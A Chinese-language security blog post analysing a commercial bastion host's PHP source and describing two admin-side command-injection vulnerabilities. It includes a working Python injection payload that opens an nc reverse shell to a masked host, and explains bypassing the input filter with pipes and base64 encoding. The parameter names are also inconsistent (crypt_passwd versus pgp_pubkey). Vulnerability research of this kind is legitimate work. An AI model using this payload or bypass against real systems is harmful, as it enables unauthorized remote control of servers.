对某堡垒机系统的从解密到getshell

前言

接上篇blog解密php,该堡垒机系统听说是处于领导地位的堡垒机系统,很多大厂也在使用,并且传说该系统没有安全漏洞,那我们就来挖掘看看吧。

结构

noname

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#index.php片段
<?
@session_start();
$sid = session_id();
@session_destroy();
$CONFIG["img"] = true;
$CONFIG["nomaster"] = true;
$CONFIG["not_http_referer"] = true;
require_once("include/common.php");
require_once("include/Validate.php");
require('include/integrity.php');

<?PHP
require_once("include/common.php");

check_perm("admin");

我们可以看到从上图看出该系统因为历史悠久,在架构上还是使用静态php文件的路由方式,并没有使用MVC的结构,整体的系统架构略显臃肿。

从头部引入可以发现,该系统是采用定义$CONFIG数组定义一些环境变量并包含common.php等文件的设置,利用check_perm方法做权限的限制与鉴定。其中具体结构的实现细节与本文无关,就不多聊结构问题。

第一个getshell漏洞

不得不说该系统其实对于安全还是处理的比较到位的,各种sql,xss等注入 都过滤处理的比较好,也验证了referer防止了csrf。
这时候我想到堡垒机系统肯定需要与系统底层进行一些特殊的操作,譬如底层运维的信息的增删改查要与php动态交互,而此系统采用的是调用python的方法来实现这些功能。那这里面会不会有些问题呢?要是有就是直接getshell的大漏洞了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function python_exec($code) {
$descs = array();
$descs[0] = array("pipe", "r");
$descs[1] = array("pipe", "w");
$descs[2] = array("pipe", "w");

if (is_array($code)) $code = join("\n", $code);
$p = proc_open("/usr/bin/python2.6 -", $descs, $pipes);
fputs($pipes[0], $code);
fclose($pipes[0]);

$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
$result = proc_close($p);

return array($result, $stdout, $stderr);
}

方法代码如上,很普通的proc_open调用python的方法。

而其中在common.php中定义的的全局过滤方法如下

1
2
3
4
5
6
7
8
9
10
11
import_request_variables("GP", "req_"); #第一个参数GP是定义了接收类型GET、POST,第二个req_是定义了接收前缀为“req_”的参数
$safe_req = "password crypt_passwd 省略一部分代码";#定义safe_req
if (!isset($CONFIG["safereq"])) $CONFIG["safereq"] = $safe_req;
else $CONFIG["safereq"] .= " " . $safe_req;#如果头文件存在$CONFIG["safereq"]设置就把设置的和$safe_req里本来有的放在一起
$CONFIG["safereq"] = array_filter(explode(" ", $CONFIG["safereq"]));#分割成数组
foreach ($_REQUEST as $k=>$v) {
if (!in_array($k, $CONFIG["safereq"])) {
$_ = "req_$k";
$$_ = preg_replace('#[<>\'"\\/&*;]#', "", $v); #判断是否在数组内 若不在数组内则利用正则过滤将这些特殊字符置空
}
}

其中import_request_variables()方法是一个在5.4.0以后就废弃的方法,在5.4.0以后一般推荐extract()来代替,作用是 将 GET/POST/Cookie 变量导入到全局作用域中。上面这句话是官方中文的解释,通俗点说,就是如果传入了一个”password”变量,那么php会得到一个”$req_password”的全局变量。其他的代码作用我尽量详细的写在注释里面了,方便理解。总之开发者应当是想定义一个接受安全传参的数组,若参数在这个数组内则放行,不在参数内则进行过滤。

那我们找找看有没有在数组内的执行,被我找到了一个在数组内的参数crypt_passwd,所以发现了第一个后台getshell漏洞代码如下

1
2
3
4
$code = array("#-*- coding: utf-8 -*-");
$code[] = "from shterm.crypt import zip_cipher";
$code[] = "print zip_cipher.encrypt('$req_crypt_passwd')";
list($result, $secret, $stderr) = python_exec($code);

根据上文可以知道$req_pgp_pubkey就是接收到的pgp_pubkey参数,而pgp_pubkey参数并不在$safe_req的定义里,这是一个漏网之鱼所以可以比较简单的构造一个python的反弹shell,payload如下123');import os;os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxx.xxx.xxx.xxx 12345 >/tmp/f')#这里利用了一个python其实并不是一定要换行,也可以使用;来做换行的小trick。结果如图:

noname
noname

但是这样只是一个程序员的疏忽导致的getshell,那有没有办法bypass这个看起来很简单粗暴的过滤呢?

绕过过滤的getshell

在一个文件里挖掘到了如下的代码段:

1
2
3
4
5
6
7
8
$type = $req_type;
$action = $req_action;

$output = array();

if ($type == "mode") {
exec("sudo /usr/libexec/shterm/clusterctl drsync-mode $action", $output, $r);
}

根据之前分析的我们知道$req_type$req_action就是接受了typeaction的传参并且这两个参数都不在safe_req的数组里所以都被过滤了,#[<>\'"\\/&*;]#这些特殊字符都不能传参。但是我发现特殊字符的过滤忽略了|-符号,而|-符号其实是可以通过管道符号和编码绕过过滤和之前的语句,执行自己想要执行的payload甚至反弹shell的。

|管道符号的特性:
noname

综上所述我利用base64编码构造了一个绕过过滤的payload:
noname
之后发包成功执行反弹shell:
noname
noname